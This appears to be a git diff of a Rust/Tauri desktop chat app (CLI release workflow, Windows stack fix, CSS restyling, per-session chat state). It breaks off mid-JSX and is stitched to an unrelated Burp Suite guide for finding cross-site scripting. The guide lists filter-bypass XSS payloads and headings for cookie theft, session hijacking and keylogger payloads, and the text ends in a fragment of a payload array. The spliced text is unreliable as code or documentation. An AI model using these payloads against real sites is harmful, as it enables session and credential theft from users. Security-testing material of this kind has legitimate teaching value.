diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index fbf19167..7f13dc49 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -503,6 +503,102 @@ jobs: path: apps/omninova-ios/release-assets/** if-no-files-found: error + cli: + name: CLI ${{ matrix.name }} + runs-on: ${{ matrix.os }} + timeout-minutes: 30 + strategy: + fail-fast: false + matrix: + include: + - name: Linux + os: ubuntu-latest + target: x86_64-unknown-linux-gnu + asset_platform: linux-x64 + bin: omninova + ext: "" + - name: macOS (Intel) + os: macos-latest + target: x86_64-apple-darwin + asset_platform: macos-intel + bin: omninova + ext: "" + - name: macOS (Apple Silicon) + os: macos-14 + target: aarch64-apple-darwin + asset_platform: macos-arm64 + bin: omninova + ext: "" + - name: Windows + os: windows-latest + target: x86_64-pc-windows-msvc + asset_platform: windows-x64 + bin: omninova.exe + ext: ".exe" + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Setup MSVC + if: runner.os == 'Windows' + uses: ilammy/msvc-dev-cmd@v1 + + - name: Setup Rust toolchain + uses: dtolnay/rust-toolchain@stable + with: + targets: ${{ matrix.target }} + + - name: Cache Rust build artifacts + uses: Swatinem/rust-cache@v2 + with: + workspaces: . -> target + + - name: Install Linux system dependencies + if: runner.os == 'Linux' + run: | + sudo apt-get update + sudo apt-get install -y pkg-config build-essential libssl-dev + + - name: Prepare CLI version + id: meta + shell: bash + run: | + if [[ "${GITHUB_REF_TYPE}" == "tag" ]]; then + VERSION="${GITHUB_REF_NAME#v}" + else + BRANCH_NAME="${GITHUB_REF_NAME:-branch}" + SANITIZED_BRANCH=$(echo "$BRANCH_NAME" | tr '[:upper:]' '[:lower:]' | sed 's#[^a-z0-9._-]#-#g') + VERSION="${SANITIZED_BRANCH}-sha-${GITHUB_SHA::7}" + fi + echo "version=$VERSION" >> "$GITHUB_OUTPUT" + + - name: Build omninova CLI + shell: bash + run: cargo build --release -p omninova-core --bin omninova --target ${{ matrix.target }} + + - name: Stage CLI artifact + shell: bash + run: | + set -euo pipefail + mkdir -p cli-assets + SRC="target/${{ matrix.target }}/release/${{ matrix.bin }}" + if [ ! -f "$SRC" ]; then + echo "::error::CLI binary not found at $SRC" + ls -R target/${{ matrix.target }}/release | head -50 || true + exit 1 + fi + DEST="cli-assets/omninova-${{ steps.meta.outputs.version }}-${{ matrix.asset_platform }}${{ matrix.ext }}" + cp "$SRC" "$DEST" + ls -lh cli-assets/ + + - name: Upload CLI artifact + uses: actions/upload-artifact@v4 + with: + name: release-cli-${{ matrix.asset_platform }} + path: cli-assets/** + if-no-files-found: error + release: name: Publish GitHub Release if: github.event_name == 'push' && startsWith(github.ref, 'refs/tags/v') @@ -510,6 +606,7 @@ jobs: - desktop - android - ios + - cli runs-on: ubuntu-latest timeout-minutes: 15 permissions: @@ -530,7 +627,7 @@ jobs: find . -mindepth 2 -name "SHA256SUMS.txt" -type f -delete mapfile -t release_files < <( find . -type f \ - \( -name "*.dmg" -o -name "*.deb" -o -name "*.appimage" -o -name "*.rpm" -o -name "*.exe" -o -name "*.msi" -o -name "*.tar.gz" -o -name "*.apk" -o -name "*.aab" -o -name "*.ipa" \) \ + \( -name "*.dmg" -o -name "*.deb" -o -name "*.appimage" -o -name "*.rpm" -o -name "*.exe" -o -name "*.msi" -o -name "*.tar.gz" -o -name "*.apk" -o -name "*.aab" -o -name "*.ipa" -o -name "omninova-*-linux-x64" -o -name "omninova-*-macos-intel" -o -name "omninova-*-macos-arm64" \) \ -print | sort ) if [ "${#release_files[@]}" -eq 0 ]; then @@ -560,6 +657,10 @@ jobs: release-assets/**/*.apk release-assets/**/*.aab release-assets/**/*.ipa + release-assets/**/omninova-*-linux-x64 + release-assets/**/omninova-*-macos-intel + release-assets/**/omninova-*-macos-arm64 + release-assets/**/omninova-*-windows-x64.exe release-assets/**/IOS_INSTALL.txt release-assets/**/macOS-安装与修复.txt release-assets/SHA256SUMS.txt diff --git a/apps/omninova-tauri/src-tauri/build.rs b/apps/omninova-tauri/src-tauri/build.rs index eb063ab9..85ebe62a 100644 --- a/apps/omninova-tauri/src-tauri/build.rs +++ b/apps/omninova-tauri/src-tauri/build.rs @@ -1,6 +1,21 @@ fn main() { tauri_build::build(); + // Windows: raise the executable's default thread stack reserve to 8 MiB. + // + // The `Config` struct is large and deeply nested, so serde (de)serialization + // to/from JSON/TOML is stack-hungry. Tauri deserializes command arguments and + // serializes results on its IPC/main threads — created with the OS default + // stack size (PE `SizeOfStackReserve`, ~1 MiB by default on MSVC). That caused + // a `0xC00000FD` (STATUS_STACK_OVERFLOW) crash when saving the model config. + // Threads created with stack size 0 inherit this reserve, so this covers the + // main thread, Tauri/wry internal threads and the IPC response path. + let target_os = std::env::var("CARGO_CFG_TARGET_OS").unwrap_or_default(); + let target_env = std::env::var("CARGO_CFG_TARGET_ENV").unwrap_or_default(); + if target_os == "windows" && target_env == "msvc" { + println!("cargo:rustc-link-arg-bins=/STACK:8388608"); + } + let manifest_dir = std::path::PathBuf::from(std::env::var("CARGO_MANIFEST_DIR").unwrap()); let workspace_root = manifest_dir.join("../../.."); let profile = std::env::var("PROFILE").unwrap_or_else(|_| "debug".into()); diff --git a/apps/omninova-tauri/src-tauri/src/lib.rs b/apps/omninova-tauri/src-tauri/src/lib.rs index 46b38188..5e1f5945 100644 --- a/apps/omninova-tauri/src-tauri/src/lib.rs +++ b/apps/omninova-tauri/src-tauri/src/lib.rs @@ -373,9 +373,7 @@ async fn save_setup_config( let mut next = setup_config_to_core(current, config)?; let next_gateway_url = format!("http://{}:{}", next.gateway.host, next.gateway.port); - if let Err(error) = save_config_with_fallback(&mut next) { - eprintln!("[config warning] {error}"); - } + save_config_with_fallback(&mut next)?; runtime.set_config(next).await.map_err(|e| e.to_string())?; if current_gateway_url != next_gateway_url { @@ -1177,15 +1175,19 @@ fn normalize_optional_string(value: Option) -> Option { }) } +fn user_home_dir() -> Option { + std::env::var_os("HOME") + .map(PathBuf::from) + .or_else(|| std::env::var_os("USERPROFILE").map(PathBuf::from)) +} + fn expand_tilde_path(value: &str) -> PathBuf { if value == "~" { - return std::env::var_os("HOME") - .map(PathBuf::from) - .unwrap_or_else(|| PathBuf::from(value)); + return user_home_dir().unwrap_or_else(|| PathBuf::from(value)); } if let Some(rest) = value.strip_prefix("~/") { - if let Some(home) = std::env::var_os("HOME").map(PathBuf::from) { + if let Some(home) = user_home_dir() { return home.join(rest); } } @@ -1249,8 +1251,27 @@ fn display_provider_name(id: &str) -> String { } } +/// Worker-thread stack size for the async runtime that backs Tauri commands. +/// +/// The `Config` struct is large (~8.7 KiB) and very deeply nested, so serde +/// (de)serialization to/from TOML/JSON consumes a lot of stack. On Windows the +/// default worker-thread stack (~1 MiB) overflows during config save, crashing +/// the process with `0xC00000FD` (STATUS_STACK_OVERFLOW). An 8 MiB stack keeps +/// every command handler (which may (de)serialize `Config`) well within bounds. +const ASYNC_RUNTIME_STACK_BYTES: usize = 8 * 1024 * 1024; + #[cfg_attr(mobile, tauri::mobile_entry_point)] pub fn run() { + // Install a tokio runtime with larger worker stacks *before* anything uses + // the async runtime, so all Tauri command handlers run with enough stack. + let runtime = tokio::runtime::Builder::new_multi_thread() + .enable_all() + .thread_stack_size(ASYNC_RUNTIME_STACK_BYTES) + .build() + .expect("Failed to build async runtime"); + let runtime: &'static tokio::runtime::Runtime = Box::leak(Box::new(runtime)); + tauri::async_runtime::set(runtime.handle().clone()); + omninova_core::init().expect("Failed to initialize core"); let config = Config::load_or_init().expect("Failed to load config"); diff --git a/apps/omninova-tauri/src/App.css b/apps/omninova-tauri/src/App.css index 62a2b918..ebc9dec1 100644 --- a/apps/omninova-tauri/src/App.css +++ b/apps/omninova-tauri/src/App.css @@ -30,9 +30,10 @@ display: flex; flex-direction: column; padding: 16px 12px; - background: var(--surface-panel); + background: linear-gradient(180deg, #efeae0 0%, var(--surface-panel) 100%); border-right: 1px solid var(--border-soft); min-height: 0; + transition: width var(--transition-med); } .app-shell-sidebar-head { @@ -108,6 +109,7 @@ } .app-shell-nav-item { + position: relative; display: flex; align-items: center; gap: 12px; @@ -121,18 +123,42 @@ font-weight: 500; cursor: pointer; text-align: left; - transition: background 0.15s, color 0.15s; + transition: background var(--transition-fast), color var(--transition-fast), + transform var(--transition-fast); } .app-shell-nav-item:hover { - background: rgba(255, 255, 255, 0.45); + background: rgba(255, 255, 255, 0.55); color: var(--text-primary); } +.app-shell-nav-item:active { + transform: scale(0.98); +} + .app-shell-nav-item.is-active { - background: rgba(255, 255, 255, 0.72); + background: rgba(255, 255, 255, 0.85); color: var(--text-primary); - box-shadow: 0 1px 0 rgba(255, 255, 255, 0.8); + font-weight: 600; + box-shadow: var(--shadow-sm); +} + +/* Accent indicator bar on the active nav item */ +.app-shell-nav-item.is-active::before { + content: ""; + position: absolute; + left: 4px; + top: 50%; + transform: translateY(-50%); + width: 3px; + height: 18px; + border-radius: 999px; + background: var(--accent-gradient); +} + +.app-shell-nav-item.is-active .app-shell-nav-icon { + color: var(--accent-blue); + opacity: 1; } .app-shell-nav-icon { @@ -238,12 +264,23 @@ .setup-btn { padding: 10px 18px; - border-radius: 12px; + border-radius: var(--radius-md); font-size: 14px; font-weight: 600; cursor: pointer; border: 1px solid transparent; font-family: inherit; + transition: transform var(--transition-fast), box-shadow var(--transition-fast), + filter var(--transition-fast), background var(--transition-fast); +} + +.setup-btn:active:not(:disabled) { + transform: scale(0.97); +} + +.setup-btn:disabled { + opacity: 0.55; + cursor: not-allowed; } .setup-btn--block { @@ -251,18 +288,26 @@ } .setup-btn--secondary { - background: rgba(255, 255, 255, 0.8); - border-color: var(--border-soft); + background: rgba(255, 255, 255, 0.85); + border-color: var(--border-strong); color: var(--text-primary); } +.setup-btn--secondary:hover:not(:disabled) { + background: #fff; + box-shadow: var(--shadow-sm); +} + .setup-btn--primary { - background: var(--accent-blue); + background: var(--accent-gradient); color: #fff; + box-shadow: var(--shadow-accent); } .setup-btn--primary:hover:not(:disabled) { + transform: translateY(-1px); filter: brightness(1.05); + box-shadow: 0 10px 24px rgba(37, 99, 235, 0.38); } .setup-btn--danger { @@ -271,6 +316,10 @@ color: #b91c1c; } +.setup-btn--danger:hover:not(:disabled) { + background: rgba(239, 68, 68, 0.14); +} + .setup-action-hint { margin: 12px 0 0; font-size: 12px; @@ -465,11 +514,12 @@ } .setup-section { - padding: 20px; - border-radius: 20px; - border: 1px solid rgba(80, 100, 180, 0.18); - background: rgba(255, 255, 255, 0.72); + padding: 22px; + border-radius: var(--radius-xl); + border: 1px solid var(--border-soft); + background: rgba(255, 255, 255, 0.78); backdrop-filter: blur(10px); + box-shadow: var(--shadow-sm); display: flex; flex-direction: column; gap: 16px; @@ -534,11 +584,13 @@ .setup-section select, .setup-section textarea { padding: 10px 12px; - border-radius: 10px; - border: 1px solid rgba(80, 100, 180, 0.22); + border-radius: var(--radius-sm); + border: 1px solid var(--border-strong); background: rgba(255, 255, 255, 0.92); color: #1a1a2e; font-family: inherit; + transition: border-color var(--transition-fast), box-shadow var(--transition-fast), + background var(--transition-fast); } .setup-section select { @@ -546,11 +598,19 @@ cursor: pointer; } +.setup-section input:hover, +.setup-section select:hover, +.setup-section textarea:hover { + border-color: rgba(37, 99, 235, 0.35); +} + .setup-section input:focus, .setup-section textarea:focus, .setup-section select:focus { outline: none; - border-color: #4a62c8; + border-color: var(--accent-blue); + background: #fff; + box-shadow: 0 0 0 3px var(--accent-blue-soft); } .setup-section input::placeholder, @@ -571,13 +631,21 @@ } .provider-card { - padding: 16px; - border-radius: 14px; - border: 1px solid rgba(80, 100, 180, 0.18); - background: rgba(255, 255, 255, 0.80); + padding: 18px; + border-radius: var(--radius-lg); + border: 1px solid var(--border-soft); + background: rgba(255, 255, 255, 0.82); + box-shadow: var(--shadow-xs); display: flex; flex-direction: column; gap: 12px; + transition: box-shadow var(--transition-fast), border-color var(--transition-fast), + transform var(--transition-fast); +} + +.provider-card:hover { + box-shadow: var(--shadow-sm); + border-color: var(--border-strong); } .provider-meta { @@ -1286,12 +1354,15 @@ font-size: 13px; font-weight: 500; cursor: pointer; - transition: background 0.15s, transform 0.1s; + transition: background var(--transition-fast), transform var(--transition-fast), + box-shadow var(--transition-fast), border-color var(--transition-fast); } .chat-quick-pill:hover { background: #fff; transform: translateY(-1px); + box-shadow: var(--shadow-sm); + border-color: var(--border-strong); } .chat-composer-wrap { @@ -1420,19 +1491,33 @@ width: 44px; height: 44px; border: none; - border-radius: 12px; - background: var(--accent-blue); + border-radius: 14px; + background: var(--accent-gradient); color: #fff; font-size: 18px; font-weight: 700; cursor: pointer; line-height: 1; + box-shadow: var(--shadow-accent); + transition: transform var(--transition-fast), box-shadow var(--transition-fast), + filter var(--transition-fast); +} + +.chat-send-fab:hover:not(:disabled) { + transform: translateY(-1px); + filter: brightness(1.05); + box-shadow: 0 10px 24px rgba(37, 99, 235, 0.38); +} + +.chat-send-fab:active:not(:disabled) { + transform: translateY(0) scale(0.96); } .chat-send-fab:disabled { - background: rgba(0, 0, 0, 0.12); - color: rgba(255, 255, 255, 0.6); + background: rgba(44, 40, 36, 0.14); + color: rgba(255, 255, 255, 0.7); cursor: not-allowed; + box-shadow: none; } /* --- Sidebar --- */ @@ -1544,6 +1629,75 @@ flex-shrink: 0; } +/* Row wraps the conversation button + a hover-reveal delete action */ +.chat-avatar-row { + position: relative; + display: flex; + align-items: center; +} + +.chat-avatar-row .chat-avatar-item { + flex: 1; + min-width: 0; +} + +.chat-avatar-delete { + position: absolute; + right: 6px; + top: 50%; + transform: translateY(-50%); + width: 22px; + height: 22px; + display: flex; + align-items: center; + justify-content: center; + border: none; + border-radius: 6px; + background: transparent; + color: var(--text-muted); + font-size: 12px; + line-height: 1; + cursor: pointer; + opacity: 0; + pointer-events: none; + transition: opacity var(--transition-fast), background var(--transition-fast), + color var(--transition-fast); +} + +.chat-avatar-row:hover .chat-avatar-delete, +.chat-avatar-row.is-active .chat-avatar-delete { + opacity: 1; + pointer-events: auto; +} + +.chat-avatar-delete:hover { + background: rgba(239, 68, 68, 0.12); + color: #dc2626; +} + +/* Pulsing dot shown on a conversation that is currently running */ +.chat-avatar-running { + width: 8px; + height: 8px; + border-radius: 50%; + flex-shrink: 0; + background: var(--accent-blue); + box-shadow: 0 0 0 0 rgba(37, 99, 235, 0.5); + animation: chat-avatar-pulse 1.4s ease-in-out infinite; +} + +@keyframes chat-avatar-pulse { + 0% { + box-shadow: 0 0 0 0 rgba(37, 99, 235, 0.45); + } + 70% { + box-shadow: 0 0 0 6px rgba(37, 99, 235, 0); + } + 100% { + box-shadow: 0 0 0 0 rgba(37, 99, 235, 0); + } +} + .chat-new-avatar { width: 100%; margin-top: 6px; @@ -1674,29 +1828,43 @@ } .chat-bubble { - max-width: 72%; - padding: 10px 14px; - border-radius: 14px; - line-height: 1.6; + max-width: 76%; + padding: 11px 15px; + border-radius: var(--radius-lg); + line-height: 1.62; white-space: pre-wrap; word-break: break-word; font-size: 14px; + animation: chat-bubble-in 0.24s var(--ease-out); +} + +@keyframes chat-bubble-in { + from { + opacity: 0; + transform: translateY(6px); + } + to { + opacity: 1; + transform: translateY(0); + } } .chat-bubble-user { align-self: flex-end; - background: rgba(80, 120, 220, 0.18); - border: 1px solid rgba(80, 120, 220, 0.28); - color: #2a2a3e; - border-bottom-right-radius: 4px; + background: var(--accent-gradient); + border: 1px solid transparent; + color: #fff; + border-bottom-right-radius: 5px; + box-shadow: 0 4px 14px rgba(37, 99, 235, 0.22); } .chat-bubble-assistant { align-self: flex-start; - background: rgba(255, 255, 255, 0.88); - border: 1px solid rgba(80, 100, 180, 0.18); + background: rgba(255, 255, 255, 0.94); + border: 1px solid var(--border-soft); color: #2a2a3e; - border-bottom-left-radius: 4px; + border-bottom-left-radius: 5px; + box-shadow: var(--shadow-sm); } .chat-bubble-meta { @@ -1705,6 +1873,10 @@ color: #8888aa; } +.chat-bubble-user .chat-bubble-meta { + color: rgba(255, 255, 255, 0.75); +} + .chat-bubble-typing { display: flex; flex-direction: column; @@ -1861,10 +2033,16 @@ align-items: center; flex-shrink: 0; padding: 8px 12px; - border-radius: var(--radius-pill); + border-radius: var(--radius-xl); border: 1px solid var(--border-soft); background: #fff; - box-shadow: 0 2px 12px rgba(44, 40, 36, 0.06); + box-shadow: var(--shadow-sm); + transition: box-shadow var(--transition-med), border-color var(--transition-med); +} + +.chat-input-row:focus-within { + border-color: rgba(37, 99, 235, 0.45); + box-shadow: var(--shadow-md), 0 0 0 4px var(--accent-blue-soft); } .chat-input { diff --git a/apps/omninova-tauri/src/components/Chat/Chat.tsx b/apps/omninova-tauri/src/components/Chat/Chat.tsx index b59bf156..c4d4f3c2 100644 --- a/apps/omninova-tauri/src/components/Chat/Chat.tsx +++ b/apps/omninova-tauri/src/components/Chat/Chat.tsx @@ -243,20 +243,22 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { initialStorage.messagesBySession ); const [historyLoading, setHistoryLoading] = useState(false); - const [input, setInput] = useState(""); - const [sending, setSending] = useState(false); - const [elapsedSec, setElapsedSec] = useState(0); + // 输入草稿与运行状态按会话隔离,避免一个会话影响其它会话。 + const [inputs, setInputs] = useState>({}); + const [runs, setRuns] = useState< + Record + >({}); const [error, setError] = useState(null); const [gatewayStatus, setGatewayStatus] = useState<"connecting" | "connected" | "disconnected">("connecting"); const [gatewayUrl, setGatewayUrl] = useState(""); const [availableModels] = useState(["auto", "openai", "anthropic", "gemini", "ollama"]); const [selectedModel, setSelectedModel] = useState("auto"); - const [activeSteps, setActiveSteps] = useState([]); const messagesScrollRef = useRef(null); const stickToBottomRef = useRef(true); const historyLoadGenRef = useRef(0); - const cancelledRef = useRef(false); - const elapsedTimerRef = useRef | null>(null); + // 每个会话独立的取消标志与计时器。 + const cancelledRef = useRef>({}); + const elapsedTimersRef = useRef>>({}); const [composerDragActive, setComposerDragActive] = useState(false); const [desktopVisionMaster, setDesktopVisionMaster] = useState(false); const [desktopVisionOn, setDesktopVisionOn] = useState(false); @@ -269,6 +271,27 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { [messagesBySession, activeAvatarId] ); + // 仅反映「当前查看的会话」的运行/输入状态。 + const activeRun = runs[activeAvatarId]; + const sending = Boolean(activeRun); + const elapsedSec = activeRun?.elapsedSec ?? 0; + const activeSteps = activeRun?.steps ?? []; + const input = inputs[activeAvatarId] ?? ""; + + const setActiveInput = useCallback( + (value: string) => + setInputs((prev) => ({ ...prev, [activeAvatarId]: value })), + [activeAvatarId] + ); + const appendActiveInput = useCallback( + (updater: (prev: string) => string) => + setInputs((prev) => ({ + ...prev, + [activeAvatarId]: updater(prev[activeAvatarId] ?? ""), + })), + [activeAvatarId] + ); + useEffect(() => { setSidebarTab(initialSidebarTab); }, [initialSidebarTab]); @@ -393,8 +416,9 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { }, [messages, sending, activeSteps, elapsedSec, scrollMessagesToEnd]); useEffect(() => { + const timers = elapsedTimersRef.current; return () => { - if (elapsedTimerRef.current) clearInterval(elapsedTimerRef.current); + Object.values(timers).forEach((timer) => clearInterval(timer)); }; }, []); @@ -421,6 +445,58 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { setActiveAvatarId(id); }; + const handleDeleteAvatar = (id: string) => { + // 终止该会话可能正在进行的任务,并清理其计时器/运行态。 + cancelledRef.current[id] = true; + const timer = elapsedTimersRef.current[id]; + if (timer) { + clearInterval(timer); + delete elapsedTimersRef.current[id]; + } + setRuns((prev) => { + if (!prev[id]) return prev; + const next = { ...prev }; + delete next[id]; + return next; + }); + + const remaining = avatars.filter((a) => a.id !== id); + + const dropMaps = (alsoSeed?: string) => { + setMessagesBySession((prev) => { + const next = { ...prev }; + delete next[id]; + if (alsoSeed) next[alsoSeed] = []; + return next; + }); + setInputs((prev) => { + const next = { ...prev }; + delete next[id]; + return next; + }); + }; + + // 始终保留至少一个会话:删光时重建一个空的 Main。 + if (remaining.length === 0) { + const fresh = { + id: "main", + name: "Main", + sessionId: "omninova-chat-session", + lastAt: formatTime(new Date()), + }; + setAvatars([fresh]); + dropMaps(fresh.id); + setActiveAvatarId(fresh.id); + return; + } + + setAvatars(remaining); + dropMaps(); + if (id === activeAvatarId) { + setActiveAvatarId(remaining[0].id); + } + }; + const handleRefreshHistory = useCallback(() => { void refreshGatewayStatus(); if (gatewayStatus === "connected") { @@ -478,50 +554,91 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { }; const handleCancel = useCallback(() => { - cancelledRef.current = true; - }, []); - - const updateStep = useCallback((title: string, status: ExecutionStep["status"], detail?: string) => { - setActiveSteps((prev) => { - const existingIndex = prev.findIndex((step) => step.title === title); - const nextStep: ExecutionStep = { title, status, detail }; - if (existingIndex < 0) return [...prev, nextStep]; - return prev.map((step, index) => (index === existingIndex ? nextStep : step)); - }); - }, []); + // 仅取消当前查看的会话。 + cancelledRef.current[activeAvatarId] = true; + }, [activeAvatarId]); const handleSend = async () => { + // 绑定到「发送时」的会话,使后续状态更新只作用于该会话, + // 即使用户中途切换到其它会话也互不影响。 + const avatarId = activeAvatarId; + const targetSessionId = sessionId; const text = input.trim(); - if (!text || sending) return; + if (!text || runs[avatarId]) return; if (gatewayStatus !== "connected") { setError("网关未连接,请先在侧栏「设置」中启动网关后再发送消息"); return; } - setInput(""); - setError(null); - cancelledRef.current = false; - setElapsedSec(0); - setActiveSteps([ - { title: "准备请求", status: "done", detail: `会话:${sessionId}` }, + // 本地维护该会话的步骤列表,避免依赖共享状态。 + let localSteps: ExecutionStep[] = [ + { title: "准备请求", status: "done", detail: `会话:${targetSessionId}` }, { title: "路由选择", status: "running", detail: "正在选择 Agent / Provider / Model" }, - ]); + ]; + const writeSteps = (steps: ExecutionStep[]) => { + localSteps = steps; + setRuns((prev) => + prev[avatarId] + ? { ...prev, [avatarId]: { ...prev[avatarId], steps } } + : prev + ); + }; + const updateStep = ( + title: string, + status: ExecutionStep["status"], + detail?: string + ) => { + const idx = localSteps.findIndex((step) => step.title === title); + const nextStep: ExecutionStep = { title, status, detail }; + writeSteps( + idx < 0 + ? [...localSteps, nextStep] + : localSteps.map((step, i) => (i === idx ? nextStep : step)) + ); + }; + const finishRun = () => { + const timer = elapsedTimersRef.current[avatarId]; + if (timer) { + clearInterval(timer); + delete elapsedTimersRef.current[avatarId]; + } + setRuns((prev) => { + if (!prev[avatarId]) return prev; + const next = { ...prev }; + delete next[avatarId]; + return next; + }); + }; + + setActiveInput(""); + setError(null); + cancelledRef.current[avatarId] = false; + setRuns((prev) => ({ ...prev, [avatarId]: { elapsedSec: 0, steps: localSteps } })); stickToBottomRef.current = true; setMessagesBySession((prev) => ({ ...prev, - [activeAvatarId]: [...(prev[activeAvatarId] ?? []), { role: "user", content: text }], + [avatarId]: [...(prev[avatarId] ?? []), { role: "user", content: text }], })); setAvatars((prev) => prev.map((a) => - a.id === activeAvatarId ? { ...a, lastAt: formatTime(new Date()) } : a + a.id === avatarId ? { ...a, lastAt: formatTime(new Date()) } : a ) ); - setSending(true); - elapsedTimerRef.current = setInterval(() => { - setElapsedSec((s) => s + 1); + elapsedTimersRef.current[avatarId] = setInterval(() => { + setRuns((prev) => + prev[avatarId] + ? { + ...prev, + [avatarId]: { + ...prev[avatarId], + elapsedSec: prev[avatarId].elapsedSec + 1, + }, + } + : prev + ); }, 1000); let route: RouteDecision | null = null; @@ -547,16 +664,12 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { const msg = err instanceof Error ? err.message : String(err); updateStep("桌面视觉", "error", msg); setError(`桌面截图失败:${msg}`); - setSending(false); - if (elapsedTimerRef.current) { - clearInterval(elapsedTimerRef.current); - elapsedTimerRef.current = null; - } + finishRun(); setMessagesBySession((prev) => ({ ...prev, - [activeAvatarId]: (prev[activeAvatarId] ?? []).slice(0, -1), + [avatarId]: (prev[avatarId] ?? []).slice(0, -1), })); - setInput(text); + setInputs((prev) => ({ ...prev, [avatarId]: text })); return; } } @@ -564,7 +677,7 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { const payload = { channel: "web" as const, text, - sessionId, + sessionId: targetSessionId, userId: USER_ID, metadata, }; @@ -585,22 +698,21 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { payload, }); - if (cancelledRef.current) { + if (cancelledRef.current[avatarId]) { setMessagesBySession((prev) => ({ ...prev, - [activeAvatarId]: (prev[activeAvatarId] ?? []).slice(0, -1), + [avatarId]: (prev[avatarId] ?? []).slice(0, -1), })); - setInput(text); + setInputs((prev) => ({ ...prev, [avatarId]: text })); return; } const replyText = result?.reply || "(空回复)"; - const steps = result?.steps?.length ? result.steps : activeSteps; - setActiveSteps(steps); + const steps = result?.steps?.length ? result.steps : localSteps; setMessagesBySession((prev) => ({ ...prev, - [activeAvatarId]: [ - ...(prev[activeAvatarId] ?? []), + [avatarId]: [ + ...(prev[avatarId] ?? []), { role: "assistant", content: replyText, @@ -610,12 +722,12 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { ], })); } catch (e) { - if (cancelledRef.current) { + if (cancelledRef.current[avatarId]) { setMessagesBySession((prev) => ({ ...prev, - [activeAvatarId]: (prev[activeAvatarId] ?? []).slice(0, -1), + [avatarId]: (prev[avatarId] ?? []).slice(0, -1), })); - setInput(text); + setInputs((prev) => ({ ...prev, [avatarId]: text })); return; } @@ -625,19 +737,13 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { setError(errorContent); setMessagesBySession((prev) => ({ ...prev, - [activeAvatarId]: [ - ...(prev[activeAvatarId] ?? []), + [avatarId]: [ + ...(prev[avatarId] ?? []), { role: "error", content: errorContent }, ], })); } finally { - setSending(false); - setElapsedSec(0); - setActiveSteps([]); - if (elapsedTimerRef.current) { - clearInterval(elapsedTimerRef.current); - elapsedTimerRef.current = null; - } + finishRun(); } }; @@ -648,15 +754,21 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { } }; - const appendVoiceTranscript = useCallback((text: string) => { - setInput((prev) => (prev.trim() ? `${prev} ${text}` : text)); - }, []); + const appendVoiceTranscript = useCallback( + (text: string) => { + appendActiveInput((prev) => (prev.trim() ? `${prev} ${text}` : text)); + }, + [appendActiveInput] + ); - const appendAttachmentContent = useCallback((insert: string) => { - const trimmed = insert.trim(); - if (!trimmed) return; - setInput((prev) => (prev.trim() ? `${prev}\n${trimmed}` : trimmed)); - }, []); + const appendAttachmentContent = useCallback( + (insert: string) => { + const trimmed = insert.trim(); + if (!trimmed) return; + appendActiveInput((prev) => (prev.trim() ? `${prev}\n${trimmed}` : trimmed)); + }, + [appendActiveInput] + ); const mergePathsIntoInput = useCallback( async (paths: string[]) => { @@ -818,7 +930,10 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) {

会话

    {avatars.map((a) => ( -
  • +
  • +
  • ))} @@ -1002,7 +1137,7 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { key={q.label} type="button" className="chat-quick-pill" - onClick={() => setInput(q.text)} + onClick={() => setActiveInput(q.text)} > {q.label} @@ -1098,7 +1233,7 @@ export function Chat({ initialSidebarTab = "avatars" }: ChatProps) { "> +"> +'-alert(1)-' +\'-alert(1)// + +# In Intruder > Options > Grep - Match: +# Add patterns: "alert(1)", "onerror=", " + +# If a CDN is whitelisted (e.g., cdnjs.cloudflare.com): + +
    {{$eval.constructor('alert(1)')()}}
    + +# Filter bypass techniques: +# Case variation: +# Null bytes: alert(1) +# Double encoding: %253Cscript%253Ealert(1)%253C/script%253E +# HTML entities: +# Unicode escapes: + +# Use Burp Suite > BApp Store > Install "Hackvertor" +# Encode payloads with Hackvertor tags: +# <@hex_entities>alert(document.domain)<@/hex_entities> +``` + +### Step 7: Validate Impact and Document Findings + +Confirm exploitability and document the full attack chain. + +``` +# Proof of Concept payload that demonstrates real impact: +# Cookie theft: + + +# Session hijacking via XSS: + + +# Keylogger payload (demonstrates impact severity): + + +# Screenshot capture using html2canvas (stored XSS impact): + + + +# Document each finding with: +# - URL and parameter +# - Payload used +# - Screenshot of alert/execution +# - Impact assessment +# - Reproduction steps +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **Reflected XSS** | Payload is included in the server response immediately from the current HTTP request | +| **Stored XSS** | Payload is persisted on the server (database, file) and served to other users | +| **DOM-based XSS** | Payload is processed entirely client-side by JavaScript without server reflection | +| **XSS Sink** | A JavaScript function or DOM property that executes or renders untrusted input | +| **XSS Source** | A location where attacker-controlled data enters the client-side application | +| **CSP** | Content Security Policy header that restricts which scripts can execute on a page | +| **Context-aware encoding** | Applying the correct encoding (HTML, JS, URL, CSS) based on output context | +| **Mutation XSS (mXSS)** | XSS that exploits browser HTML parser inconsistencies during DOM serialization | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| **Burp Suite Professional** | Primary testing platform with scanner, intruder, repeater, and DOM Invader | +| **DOM Invader** | Burp's built-in browser extension for DOM XSS testing | +| **Hackvertor** | Burp BApp for advanced payload encoding and transformation | +| **XSS Hunter** | Blind XSS detection platform that captures execution evidence | +| **Dalfox** | CLI-based XSS scanner with parameter analysis (`go install github.com/hahwul/dalfox/v2@latest`) | +| **CSP Evaluator** | Google tool for analyzing Content Security Policy effectiveness | + +## Common Scenarios + +### Scenario 1: Search Function Reflected XSS +A search page reflects the query parameter in the results heading without encoding. Inject `` in the search parameter and demonstrate cookie theft via reflected XSS. + +### Scenario 2: Comment System Stored XSS +A blog comment form sanitizes `', + '', + '', + '', + '', + '', + '
